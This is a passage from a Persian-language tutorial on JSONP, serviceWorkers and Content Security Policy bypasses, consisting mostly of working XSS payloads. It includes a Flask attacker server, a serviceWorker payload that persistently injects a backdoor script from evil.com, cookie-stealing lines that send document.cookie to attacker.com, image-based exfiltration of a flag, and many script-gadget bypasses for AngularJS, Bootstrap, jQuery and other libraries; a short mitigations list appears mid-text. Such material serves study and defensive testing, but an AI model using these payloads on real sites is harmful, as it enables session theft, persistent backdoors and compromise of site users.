  1. صفحه وبی را به روزرسانی کرد بدون اینکه آن صفحه از اول بارگزاری شود.
  2. بعد از بارگزاری صفحه به وب سرور درخواست ارسال کرد.
  3. بعد از بارگزاری صفحه از سمت سرور داده دریافت و خوانده شود.
  4. در پس زمینه به سرور داده ارسال شود.

اما در این تکنولوژی امکان ارتباط با دامنه های متقابل به دلایل امنیتی فراهم نشده، JavaScript Object Notation with Padding (JSONP) راهی برای دریافت داده به شکل JSON از دامنه های خارجی میباشد.

SOP چیست؟

SOP مخفف Same Origin Policy میباشد. این مکانیزم، مفهومی در زبان های برنامه نویسی سمت مرورگر مانند JavaScript است که اجازه دسترسی به منابع موجود در در همان دامنه را میدهد و از دسترسی به منابع دامنه های دیگر جلوگیری میکند. در ادامه یکی از روش های دور زدن این مکانیزم دفاعی یعنی استفاده از JSONP را بررسی میکنیم.

JSONP چگونه کار میکند؟

مفهوم JSONP یا به صورت دقیق‌ تر Json with Padding روشی برای ارسال داده های JSON به صورت بین سایتی است. در این روش در مورد محدودیت‌های اشتراک منابع به صورت بین سایتی (Same Origin Policy) نگرانی نداریم. چون JSONP از XMLHttpRequest استفاده نمی‌کند. همانطور که میدانید مکانیزم SOP اجازه نمیدهد اسکریپتی که از دامنه A بارگزاری شده، ویژگی های موجود در صفحه بارگزاری شده در دامنه B را تغییر دهد و به داده های موجود در آن دسترسی داشته باشد. مرورگر از این مکانیزم استفاده میکند تا از تغییرات مخرب در صفحات جلوگیری کند و محتوای وبسایت هارا از دامنه های دیگر مجزا کند.با این حال این مکانیزم از اضافه کردن عناصر script به صفحه و دریافت داده از دامنه دیگر، جلوگیری نمیکند. بنابراین کد زیر با ارسال درخواست GET به آدرس مشخص شده در مقدار src، کد های JavaScript را دریافت میکند:

<script src="example.com/static/JavaScriptLib.js">

بعد از ارسال درخواست GET، داریم:

mycallback = function(data){
    console.log(data)
};

فرض کنید با درخواست GET به آدرس https://www.exampleuri.com/data داده ی JSON شبیه زیر دریافت میکنیم:

{name: "John", numberOfPosts:12, numberOfLikes:61}

حالا فرض کنید قابلیت JSONP در سمت سرور فعال است، یعنی اگر درخواست GET ای به دامنه زیر ارسال شود :

https://www.exampleuri.com/data?callback=mycallback

پاسخی شبیه زیر دریافت میشود:

mycallback({name: "John", numberOfPosts:12, numberOfLikes:61});

این یعنی اگر کد موجود در Front End چیزی شبیه زیر باشد:

<script src=https://www.exampleuri.com/data?callback=mycallback></script>

بعد از ارسال درخواست GET، داریم:

<script>
    mycallback({name: "John", numberOfPosts:12, numberOfLikes:61});
</script>

کد بالا باعث فراخوانی تابع mycallback با پارامتر های بالا به عنوان آرگومان ورودی میشود، به این صورت ما توانستیم بدون مزاحمت SOP داده JSON دریافت کنیم. در ادامه مثالی ساده از رخداد XSS با استفاده از JSONP را بررسی میکنیم. در این مثال فایلی با نام server.py در سروری که Ngrok در آن راه اندازی کرده اید بسازید و کد زیر را در آن قرار دهید:

from flask import Flask,request,jsonify
from flask_cors import CORS

# define app
app = Flask(__name__)
app.debug=1
app.name="index.py"
CORS(app)
app.config['JSON_AS_ASCII'] = False

@app.route("/")
def index():
    data = {"script":"alert(1)"}
    callback = request.args.get('callback')
    return "{}({})".format(callback,jsonify(data))

if __name__ == '__main__':
    app.run()

هنگامی که درخواستی به سرور مهاجم فرستاده میشود، کد بالا مقدار پارامتر callback موجود در URL را به دریافت میکند و سپس مقدار متغیر data که داده ای به فرمت JSON میباشد را درون بلاک تابع قرار میدهد و آن را به عنوان خروجی برمیگرداند. توجه داشته باشید که داده ی JSON مشخص شده حاوی پارامتری با نام script میباشد که مقدار آن برابر کد مخرب alert(1) برای XSS میباشد.

حالا باید به صورت زیر کد مخرب طراحی شده زیر را در پارامتر آسیب پذیر name تزریق کنیم:

curl 'victim.com/comment.php?name="/><script>var _ =document.createElement("script");_.src="http://<NGROK ID>.io.ngrok?callback=test";docuemnt.body.appendChild(_);function test(data){eval(data.script)}</script>'

کد مخرب بالا عنصر script ای ساخته میشود و مقدار ویژگی src آن برابر آدرس سرور مهاجم قرار میگیرد. پارامتر callback ای به آن پاس داده میشود که مقدار آن برابر مقدار test یعنی اسم تابعی که جلوتر تعریف شده قرار گرفته است. سپس عنصر script ساخته شده به صفحه اضافه میشود. در آخر نیز تابع test تعریف شده که در این تابع متغیر data در آرگومان ورودی خود را دریافت میکند و با استفاده از تابع eval، ویژگی script از این تابع را جدا کرده و آن را اجرا میکند. توجه داشته باشید که مقدار script برابر کد alert(1) بود. در نتیجه با تزریق کد بالا در صفحه آسیب پذیر به XSS پنجره alert نمایش داده میشود.

در ادامه به بررسی روش دیگری که در سال 2017 در Owasp ارائه شد برای انجام حمله XSS و بهره برداری از آن به طور مداوم با استفاده از JSONP میپردازیم. در این روش از تکنولوژی serviceWorkers استفاده شده است.

تکنولوژی serviceWorkers چیست؟

serviceWorkers یک تکنولوژی وب جدید است که به صورت اسکریپتی در پس زمینه مرورگر اجرا میشود و امکان رهگیری درخواست های وب را فراهم میکند و نسخه Cache شده را برمیگرداند. هدف اصلی از ایجاد این تکنولوژی قابلیت کار کردن وبسایت ها در حالت آفلاین بود و در نتیجه باعث میشود تا وبسایت شما بدون ارتباط به اینترنت نیز قابل استفاده باشد. برای دریافت و رهگیری درخواست ها باید با استفاده از رویداد onfetch اسکریپتی نوشته شود و هر لحظه دریافت پاسخ و محتوا بررسی شود. اگر محتوا دریافت شده باشد باید آن را برگرداند، در غیر این صورت درخواست دیگری باید فرستاده شود و پاسخ Cache شود.

نحوه کارکرد serviceWorker ها
نحوه کارکرد serviceWorker ها
استفاده از این سرویس برای اهداف خطرناک

از ServiceWorkers برای برگرداندن محتوای دلخواه در Cache میتوان استفاده کرد، برای مثال:

this.addEventListener('fetch', function (event) {
    event.respondWith(new Response(" <h1> Intercepted!</h1> "));
});

اما این امکان وجود دارد تا منبعی را دریافت کنید و نسخه تغییر یافته از آن محتوا را برگردانید:

<html>
<body>
.....
<script src="https://attacker.com/backdoor.js</script> //---- Parse and inject arbitrary script here without the user knowing
</body>
</html>

در کد بالا میتوان اسکریپت دلخواه را در آخر هر درخواست تزریق کرد بدون اینک کاربر از آن مطلع شود. در نتیجه تمام منابع از لایه Cache شده بدون اینکه متوجه باشند عبور خواهند کرد. در ادامه به بررسی نحوه استفاده از JSONP، تکنولوژی serviceWorkers و آسیب پذیری XSS برای ایجاد یک در پشتی (Backdoor) مداوم برروی یک وبسایت میپردازیم. باید این نکته را در نظر گرفت که serviceWorkers فقط از منابعی که برروی همان دامنه قرار دارند نصب میشود. یعنی برای نصب یک serviceWorker روی سایت example.com باید آن را به صورت زیر ثبت (Register) کنیم:

if ('serviceWorker' in navigator) {
    navigator.serviceWorker.register('https://example.com/sw.js')
    then(function(reg) {
        console.log('Registration succeeded.Scope is ' + reg.scope);
    })
catch(function(error) {
        console.log('Registration failed with ' + error);
    });
}

این کار به مرورگر میفهماند که فایل های جاوا اسکریپت serviceWorker در Root یا ریشه دامنه مشخص شده قرار دارند. در نتیجه scope یا محدوده serviceWorker، کل دامنه میباشد. با استفاده از Endpoint های JSONP که امن سازی نشده اند میتوان این مشکل را حل کرد. چون JSONP ، پارامتری دریافت میکند (در اینجا پارامتر callback) که این پارامتر در کد JavaScript جایگزاری میشود.

برای مثال فرض کنید درخواستی به این صورت داریم:

/jsonp?callback=myFunction

که پاسخی شبیه زیر بر میگرداند:

var data = { "hello": 1 }; myFunction(1);

اگر ورودی JSONP امن سازی نشده باشد میتوان JavaScript دلخواه برگرداند به این صورت که کدی طراحی شود که برای دریافت پاسخ منتظر میماند و بعد از آن کد مخرب زیر را به هر درخواست اضافه میکند :

<script src="attacker.com/backdoor.js">

در نتیجه Payload نهایی چیزی به صورت زیر است:

<script>
    navigator.serviceWorker.register("/jsonp?callback=onfetch=function(e){ if(!(e.request.url.indexOf('/')>0)) e.respondWith(new Response('<script src=\'http://evil.com/backdoor.js\' type=\'text/javascript\'><\/script>',{headers:{'Content-Type':'text/html'}})) else e.fetch(e.request)}//");
</script>
نحوه اجرای این حمله

ابتدا باید Payload نهایی با هدف دلخواه (مثلا دزدیدن ایمیل ها یا نظارت بر حساب های بانکی) را طراحی کرد و سپس آن را با JSONP تلفیق کرد.
بعد از آن Payload را با استفاده از حمله XSS باید بر روی وبسایت آسیب پذیر تزریق کرد.

راه های کاهش (Mitigations)
  • ورودی های Endpoint های JSONP (Callback ها) را امن سازی کنید تا فقط پذیرای حروف الفبا یا نقطه و خط فاصله باشند.
  • آسیب پذیری XSS را در وبسایت فیکس کنید و از امن سازی ورودی ها، Encode کردن خروجی ها استفاده کنید.
  • از Content Security Policy استفاده کنید.

این تکنیک صرفا برای مداوم بودن اثرات حمله و دریافت اطلاعات طراحی شده است.

دور زدن CSP

CSP چیست؟

Content Security Policy یا CSP یک تکنولوژی ساخته شده برای مرورگر است که کمک میکند تا از XSS در امان باشیم، این تکنولوژی با تعریف لیستی از مسیرها و منابع مشخص میکند که مرورگر میتواند از کجا ها به صورت امن منبع شامل عکس ها، JavaScript و غیره … بارگزاری کند. CSP در هدر های پاسخ HTTP یا عنصر <code>Meta</code> در صفحه HTML تعریف میشود و مرورگر از سیاست های تعریف شده در آن پیروی میکند و در صورت مشاهده چیزی خلاف سیاست ها، آن را بلاک میکند.

از هدر های Content-Security-Policy و Content-Security-Policy-Report-Only در پاسخ HTTP استفاده میشود، اما هدر Content-Security-Policy-Report-Only چیزی را بلاک نمیکند و فقط گزارش میفرستد. در ادامه مثالی را مشاهده میکنید که این مکانیزم اجازه بارگزاری منابع از دامنه خودش (self) را میدهد.

در هدر Content Security Policy
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
در تگ Meta
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

خب برای دور زدن این مکانیزم دفاعی در شرایط مختلف Payload های متفاوتی را باید استفاده کرد.

استفاده از مقدار unsafe-inline

مقدار unsafe-inline اگر در CSP تنظیم شود به این معنی ست که استفاده از عناصر و رویداد ها به صورت خطی مجاز است برای مثال میتوان از مفسر :javascript استفاده کرد، اگر از این مقدار در CSP استفاده شود، Payload بدون مشکل اجرا میشود:

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

کد مخرب قابل استفاده:

"/><script>alert(1);</script>
استفاده از مقدار unsafe-eval

در صورت استفاده از مقدار unsafe-eval در هدر، اجازه استفاده از ()eval و توابع مشابه که از رشته ها کد ایجاد میکنند فراهم میشود.

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

کد مخرب قابل استفاده:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

کد بالا مقدار Base64 شده alert(document.domain) میباشد.

استفاده از مقدار Wildcard یا *

این علامت، استفاده هر URL به جز اسکیمی های :data: ، blob و :filesystem را مجاز میکند.

Content-Security-Policy: script-src 'self' https://google.com https: data *;

کد مخرب قابل استفاده:

"/>'><script src=https://attacker.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
عدم استفاده از object-src و default-src

از object-src برای تعریف منابع مجاز برای تگ های <object> ، <embed> و <applet> استفاده میشود. از default-src برای تعریف سیاست های استفاده از منابع به طور پیش فرض استفاده میشود.

Content-Security-Policy: script-src 'self';

کد مخرب قابل استفاده:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

کد اول از طریق ویژگی data در تگ object کد JavaScript ای <script>alert(1)</script> که Base64 شده است را اجرا میکند. کد دوم با وارد کردن آدرسی اشتباه در ویژگی data تگ object باعث میشود تا خطایی رخ دهد و کد alert(1337) موجود در بلاک catch اجرا میشود.

استفاده از مقدار ‘self’ در script-src
روش آپلود فایل

دستور العمل script-src منابع مجاز برای JavaScript را مشخص میکند، این منابع علاوه بر URL های موجود در تگ ها، شامل رویداد های خطی مانند onclick و فرمت XSLT میباشد.

Content-Security-Policy: script-src 'self'; object-src 'none';

اگر بتوان فایل js. ای در سایت قربانی آپلود کرد میتوان به صورت زیر CSP را دور زد:
کد مخرب قابل استفاده:

"/>'><script src="/user_upload/attackerPic.png.js"></script>

با این حال به احتمال زیاد سرور، فایل آپلود شده را معتبر سازی کند و فقط اجازه آپلود فایل هایی با پسوند مشخص را دهد. علاوه بر این حتی اگر بتوان کد JavaScript ای درون فایلی با پسوند پذیرفته شده آپلود کرد (برای مثال script.png) باز هم کافی نیست زیرا بعضی سرور ها مانند Apache نوع MIME فایل را براساس پسوند آن انتخاب میکنند و مرورگر هایی مانند کروم کد های JavaScript درون فایلی که قرار بود عکس باشد اجرا نمیکنند. اما خوشبختانه در بعضی مواقع اشتباه نیز رخ میدهد برای مثال سرور Apache فرمت wave. را نمیشناسد، بنابراین آن را با نوع MIME صدا یا audio/* پردازش نمیکند.

در نتیجه اگر در سایت آسیب پذیری XSS و مکانیزم آپلود فایل پیدا کردید همچنین پسوند فایلی مجود بود که به طور اشتباه پردازش میشد، میتوانید فایل را با آن پسوند و محتوای script آپلود کنید یا اگر سرور فرمت صحیح فایل آپلود شده را بررسی میکرد میتوانید فایل Polyglot ای بسازید. نمونه هایی از فایل های آلوده Polyglot را در اینجا میتوانید مشاهده کنید.

روش JSONP

Content-Security-Policy: script-src 'self';

کد مخرب قابل استفاده:

<script src=/api/v1?callback=alert(1)></script>

از callback های JSONP در یک URL مرتبط به عنوان src در script میتوان استفاده کرد.

استفاده از مقدار unsafe-eval و Endpoint های شخص ثالث
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

با لود کردن یک ورژن آسیب پذیر از AngularJS میتوان کد JavaScript دلخواه را اجرا کرد:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>

کد های مخرب قابل استفاده دیگر:

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>

<div ng-app ng-csp>
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>

"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>

<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
استفاده از Endpoint های شخص ثالث و JSONP
Content-Security-Policy: script-src 'self' https://www.google.com; object-src 'none';

مواقعی شبیه هدر بالا که مقدار script-src برابر self قرار داده شده و یک دامنه خاص به عنوان لیست سفید تعریف شده است میتوان با استفاده از JSONP دور زد، زیرا در Endpoint های JSONP اجازه استفاده از متد های callback نا امن وجود دارد، بنابراین میتوان منجر به XSS شد.

کد های مخرب قابل استفاده:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>

"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://attacker.com/cooookie`%2bdocument.cookie;})();//"></script>

ابزاری به نام JSONBee دارای Endpoint های خطرناک و آماده JSONP برای دور زدن CSP میباشد. همین آسیب پذیری در صورتی که Endpoint مورد اطمینان دارای آسیب پذیری Open Redirect باشد، میتواند اتفاق بیوفتد، زیرا اگر Endpoint قابل اطمینان باشد، Redirect هم قابل اطمینان است.

استفاده از آسیب پذیری Open Redirect در دامنه موجود در لیست سفید و JSONP
Content-Security-Policy: script-src 'self' accounts.google.com/random/ website.with.redirect.com ; object-src 'none' ; report-uri /Report-parsing-url;

در این سناریو همانطور که میبینید دو دامنه در لیست سفید قرار گرفته اند، اگر مهاجم با استفاده از دامنه اول Payload ای بسازد که به دامنه دوم Redirect شود و دامنه دوم JSONP Endpoint باشد، XSS اتفاق میوفتد زیرا مرورگر هنگام Redirect شدن، فقط host را معتبرسازی میکند و کاری با پارامترهای مسیر ها ندارد.

کد مخرب قابل استفاده:

">'><script src="https://website.with.redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>"> 
دور زدن مسیر و پوشه تایین شده در CSP

اگر محدودیت مسیر در CSP تعریف شده باشد و از 2f% برای Encode کردن / استفاده کنید، مرورگر آن را درون همان مسیر در نظر میگیرد. این باعث میشود که اگر 2f..%2f% در سمت سرور Decode شود از آن برای دور زدن محدودیت پوشه ای تعریف شده در CSP استفاده کرد، برای مثال اگر آدرس و مسیر زیر در CSP تعریف شده باشد:

http://example.com/company/

به صورت زیر میتوان آن را دور زد:

http://example.com/company%2f..%2fattacker/file.js
اجرای JavaScript در iframe
Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src 'self';

شرط دور زدن سیاست های تعریف شده بالا این است که اپلیکیشن اجازه استفاده iframe از دامنه های موجود در لیست سفید را بدهد، در این صورت با استفاده از ویژگی srcdoc تگ iframe میتوان منجر به اجرای کد JavaScript ای شد.

کد مخرب قابل استفاده:

<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>

برای اجرای کد بالا استفاده از اسکیمی :data باید مجاز باشد.

<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://attacker.com/cooookie`%2bdocument.cookie;})();//"></script>

کد بالا JavaScript را در Endpoint های JSONP تزریق میکند.

<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

در بعضی مواقع نیز باید از ویژگی defer در تگ script درون iframe استفاده کرد. (این تکنیک در اکثر مواقع به دلیل وجود SOP عمل نمیکند).

استفاده از رویداد های AngularJS

بسته به سیاست تعریف شده، CSP رویداد های JavaScript را بلاک میکند در نتیجه میتوان از رویداد های AngularJS به جای آن استفاده کرد. درون یک رویداد، AngularJS آبجکت خاص event$ ای تعریف میکند که به آبجکت رویداد مرورگر اشاره میکند. از این آبجکت میتوان برای دور زدن CSP استفاده کرد. در کروم، آبجکت event/event$ ویژگی ای با نام path دارد. این ویژگی حاوی آرایه ای از آبجکت هاست. آخرین ویژگی این آرایه، همیشه آبجکت window میباشد که ما میتوانیم از آن برای اجرای Sandbox Escape استفاده کنیم. با پاس دادن این آرایه به فیلتر orderBy میتوان آرایه را سرشماری کرد و از عنصر آخر آن یعنی آبجکت window برای اجرای توابع Global مانند ()alert استفاده کرد. کد زیر نحوه استفاده این روش را نشان میدهد:

<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
استفاده از لیست سفید و AngularJS
مثال اول:
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

اگر اپلیکیشن از AngularJS استفاده کند و script ها از منابع موجود در لیست سفید بارگزاری شوند این امکان وجود دارد که سیاست های CSP را با فراخوانی توایع callback و کلاس های آسیب پذیر دور زد.

کد مخرب قابل استفاده:

"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>

"><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<div ng-app ng-csp ng-click=$event.view.alert(1337)>
مثال دوم:
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none' ; report-uri /Report-parsing-url;

کد های مخرب قابل استفاده:

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
استفاده از unsafe-inline و * img-src
Content-Security-Policy: default-src 'self' 'unsafe-inline'; img-src *;

ویژگی unsafe-inline به این معنی ست که میتوان هر script ای را درون کد اجرا کرد. با استفاده * img-src میتوان هر عکسی را از هر منبعی درون صفحه وب استفاده کرد.

در نتیجه با استخراج داده از عکس میتوان CSP را دور زد.

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

در کد بالا XSS با استفاده از CSRF در صفحه ای که حاوی SQLi میباشد flag را درون عکسی استخراج میکنیم.

همچنین از این روش میتوان برای لود کد های JavaScript که درون یک عکس اضافه شده، استفاده کرد. برای مثال اگر صفحه اجازه لود عکس از توییتر را دهد میتوان عکس خاصی ساخت و آن را در توییتر آپلود کرد و در نتیجه با سو استفاده از "unsafe-inline" و استفاده از XSS کد JavaScript ای که آن عکس را لود میکند اجرا کرد، در نتیجه کد JavaScript ای درون عکس، استخراج شده و اجرا میشود.

استفاده از unsafe-eval و مقدار ‘self’ در script-src
Content-Security-Policy: script-src 'self'; 'unsafe-eval';

کد مخرب قابل استفاده:

<script src=/libs/angular-1.6.0.js></script>
<K Ng-App>{{$new.constructor('alert(1)')()}}
استفاده از کد های Nonce ثابت یا قابل حدس
Content-Security-Policy: script-src 'nonce-abcd1234';

سیاست بالا بیان میکند که تنها امکان src کردن منابع حاوی کد Nonce بالا امکان پذیر است اما کد Nonce آن قابل حدس است.

کد مخرب قابل استفاده:

<script src=//attacker.com Nonce=abcd1234></script>

استفاده از Script Gadget ها

Script Gadget یک کد JavaScript معتبر موجود در صفحه است که ممکن است برای دور زدن مکانیزم ها به کار آید.

<div data-role="button"
     data-text="I am a button"></div>
<script>
    var buttons = $("[data-role=button]");
    buttons.html(button.getAttribute("data-text"));
</script>

کد بالا در تگ div مقدار ویژگی data-role برابر button قرار گرفته و ویژگی data-text برابر متن "I am a button" میباشد، در تگ script با استفاده از jQuery عنصری که دارای ویژگی data-role=button میباشد یعنی تگ div انتخاب شده و با استفاده از getAttribute مقدار ویژگی data-text آن انتخاب میشود از طریق تابع html درون تگ div قرار میگیرد. بنابراین خط پنجم کد بالا یک Script Gadget میباشد.

نتیجه این کد به صورت زیر میباشد:

<div data-role="button" … >I am a button</div>

با تزریق کد مخرب مانند کد زیر:

<div data-role="button"
     data-text="&lt;script&gt;alert(1)&lt;/script&gt;"></div>
<script>
    var buttons = $("[data-role=button]");
    buttons.html(button.getAttribute("data-text"));
</script>

نتیجه زیر حاصل میشود:

<div data-role="button" … ><script>alert(1)</script></div>

Script Gadget ها، تگ ها و ویژگی های امن HTML را به اجرای کد دلخواه JavaScript ای تبدیل میکنند. برای مثال ;"data-text="&lt;script&gt به <script> تبدیل میشود. اگر صفحه دارای Gadget بالا دارای آسیب پذیری HTML Injection باشد، مهاجم میتواند به جای تزریق <script>، کد "<data-text="<script را تزریق کند. این کار باعث میشود تا مکانیزم های جلوگیری از XSS که به دنبال تگ script هستند، دور زده شوند.

استفاده از Script Gadget ها در کتابخانه های JavaScript
کتابخانه Knockout

تکه کد HTML زیر:

<div data-bind="value:'hello world'"></div>

به صورت زیر در کد منبع کتابخانه Knockout پردازش میشود:

switch (node.nodeType) {
    case 1:
        return node.getAttribute("data - bind")
        ;var rewrittenBindings = ko.expressionRewriting.preProcessBindings(bindingsString, options),
        functionBody = "with($context){with($data||{}){return{" + rewrittenBindings + "}}}";
        return new Function("$context", "$element", functionBody);
        return bindingFunction(bindingContext, node);

قسمتی از کد بالا یعنی قسمت "data-bind="value: foo اقدام به ایجاد Gadget ای در کتابخانه Knockout میکند که مقدار ویژگی data-bind را eval میکند. یعنی کد "data-bind="value: foo به صورت eval(“foo”) اجرا میشود، به همین دلیل مهاجم باید کد مخربی شبیه زیر تزریق کند:

<div data-bind="value: alert(1)"></div>
کتابخانه Ajaxify

این کتابخانه تمام تگ های <div> دارای ویژگی class=document-script را به عنصر script تبدیل میکند، بنابراین اگر وبسایتی که از Ajaxify استفاده میکند به XSS آسیب پذیر باشد کافی ست کد مخرب زیر را تزریق کرد:

<div class="document-script">alert(1)</div>
کتابخانه Bootstrap

این کتابخانه ساده ترین Gadget را دارد زیرا مقدار ویژگی HTML را درون innerHTML قرار میدهد.

<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'>

توابع فیلترسازی و Sanitize در HTML ویژگی title را مجاز میدانند زیرا معمولا امن است، اما این ویژگی در ترکیب با ویژگی های شروع شونده با -data و کتابخانه Bootstrap دیگر امن نیست.

همچنین Encode کردن Payload در Bootstrap به صورت زیر:

<div data-toggle=tooltip data-html=true
title='&lt;script&gt;alert(1)&lt;/script&gt;'></div>

باعث استفاده از eval در کتابخانه Dojo میشود:

<div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(1)-{">

از تکنیک بالا برای دور زدن ModSecurity CRS استفاده میشود.

کتابخانه Google Closure

این کتابخانه، URL های خودش در script هارا تشخیص میدهد و بعد از آن منابع را از همان مکان لود میکند. در نتیجه با تزریق تگ های دیگر HTML امکان گیج کردن Closure برای لود کردن منابع از جای دیگر فراهم میشود.

<a id=CLOSURE_BASE_PATH href=data:/,1/alert(1)//></a>
<a id=CLOSURE_BASE_PATH href=http://attacker/xss></a>
<form id=CLOSURE_UNCOMPILED_DEFINES>
    <input id=goog.ENABLE_CHROME_APP_SAFE_SCRIPT_LOADING></form>

از تکنیک بالا برای دور زدن NoScript استفاده میشود.

کتابخانه RequireJS

این کتابخانه به کاربر اجازه میدهد تا ماژول main را در فایل JavaScript تایین کند، این کار با استفاده از ویژگی سفارشی شده data انجام میشود که فیلترهای XSS و بقیه راه های جلوگیری از آن آگاه نیستند.

<script data-main='data:1,alert(1)' src='require.js'></script>
کتابخانه Ember

کد زیر یک تگ script ای میباشد که خودش را بسته بنابراین نامعتبر است و CSP به آن توجه نمیکند.:

<script src=//i.am.an.invalid.self.closing.script.tag csp=ignores-me />

کتابخانه Ember (فقط نسخه dev آن) یک کپی معتبر از کد بالا میسازد و آن را دوباره اضافه میکند. از آنجایی که ویژگی Strict-dynamic در CSP تگ های به صورت پویا اضافه شده را مجاز میداند، Payload زیر آن را دور میزند:

<script type=text/x-handlebars>
<script src=//attacker.com// />
</script>
کتابخانه jQuery

این کتابخانه حاوی Gadget ایست که تگ های <script> موجود را میگیرد و آنها را دوباره اضافه میکند. ما میتوانیم یک عنصر form و یک عنصر input تزریق میکنیم تا منطق JQuery را گیج کنیم که تگ script مارا دوباره اضافه کند.

<form className="child">
    <input name="ownerDocument"/>
    <script>alert(1);</script>
</form>

ویژگی Strict-dynamic در CSP تگ <script> را بلاک میکند اما JQuery دوباره آن را اضافه میکند، حالا کد بالا مورد اعتماد شناخته شده و اجرا میشود.

کتابخانه jQuery Mobile

این کتابخانه نیز مقدار ویژگی ID را به صورت پویا درون کامنت HTML قرار میدهد، در نتیجه با بستن کامنت میتوان کد دلخواه را اجرا کرد:

<div data-role=popup id='--><script>"use strict"
alert(1)</script>'></div>
دور زدن CSP
  • همانطور که میدانید مکانیزم CSP عناصر script مورد اعتماد و تزریق شده را شناسایی میکند و اجرای عناصر script تزریق شده را متوقف میکنند.
  • بسته به حالت CSP، عناصر script مورد اعتماد یا از لیست سفید دامنه ها لود میشوند و یا دارای مقدار محرمانه Nonce میباشند.
  • ویژگی unsafe-eval در CSP به script های مورد اعتماد اجازه فراخوانی تابع ()eval را میدهد. اکثر Gadget ها چون از تابع ()eval استفاده میکنند میتوانند این ویژگی CSP را دور بزنند.

مثال: استفاده از Underscore templates

<div type=underscore/template> <% alert(1) %> </div>

ویژگی Strict-dynamic در CSP بیان میکند که script های مورد اعتماد میتوانند عناصر script جدید و مورد اعتماد ایجاد کنند. در نتیجه Gadget میتوانند این ویژگی را دور بزنند زیرا ایجاد عناصر script جدید یک الگوی رفتاری معمول در کتابخانه های JavaScript میباشد.

مثال 1: استفاده از کتابخانه jQuery Mobile

<div
data-role=popup
id='--><script>"use strict" alert(1)</script>'
></div>

مثال 2: استفاده از کتابخانه Bootstrap

<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'></div>

خب، دور زدن CSP هایی که بر اساس لیست سفید و یا مقادیر Nonce کار میکنند سخت تر است زیرا ما نمیتوانیم از Gadget هایی که به innerHTML و یا تابع ()eval ختم میشوند استفاده کنیم، همچنین امکان اضافه کردن عناصر script جدید نیز وجود ندارد. بنابراین برای دور زدن این نوع CSP ها باید از Gadget های موجود در Expression Parser ها یا تجزیه کننده های عبارت استفاده کرد.

Framework های Aurelia، Angular، Polymer، Ractive و Vue از تفسیر کننده هایی که بر اساس eval کار نمیکنند ، استفاده میکنند. آنها عمل توکن کردن (Tokenize) ، تجزیه کردن و ارزیابی عبارت هارا خودشان انجام میدهند، و این عبارت ها به JavaScript کامپایل میشوند. در حین ارزیابی، این کد های تجزیه شده بر روی عناصر DOM، ویژگی ها، آبجکت های محلی، آرایه ها و غیره … عمل میکنند. در نتیجه اگر از عبارتی که به اندازه کافی پیچیده شده استفاده کنیم، میتوانیم کد دلخواه JavaScript ای اجرا کنیم. برای مثال Aurelia، زبان عبارت خودش را دارد که برای مکانیزم های دفاعی ناشناخته است. برای مثال در صورت استفاده از getter برای ویژگی ها به صورت زیر:

<td>
${customer.name}
</td>

کدی شبیه زیر برای پردازش آن اجرا میشود:

AccessMember.prototype.evaluate =
function(...) { // ...
return /* … *./ instance[this.name];
};

یا برای فراخوانی توابع به صورت زیر:

<button foo.call="sayHello()">
Say Hello!
</button>

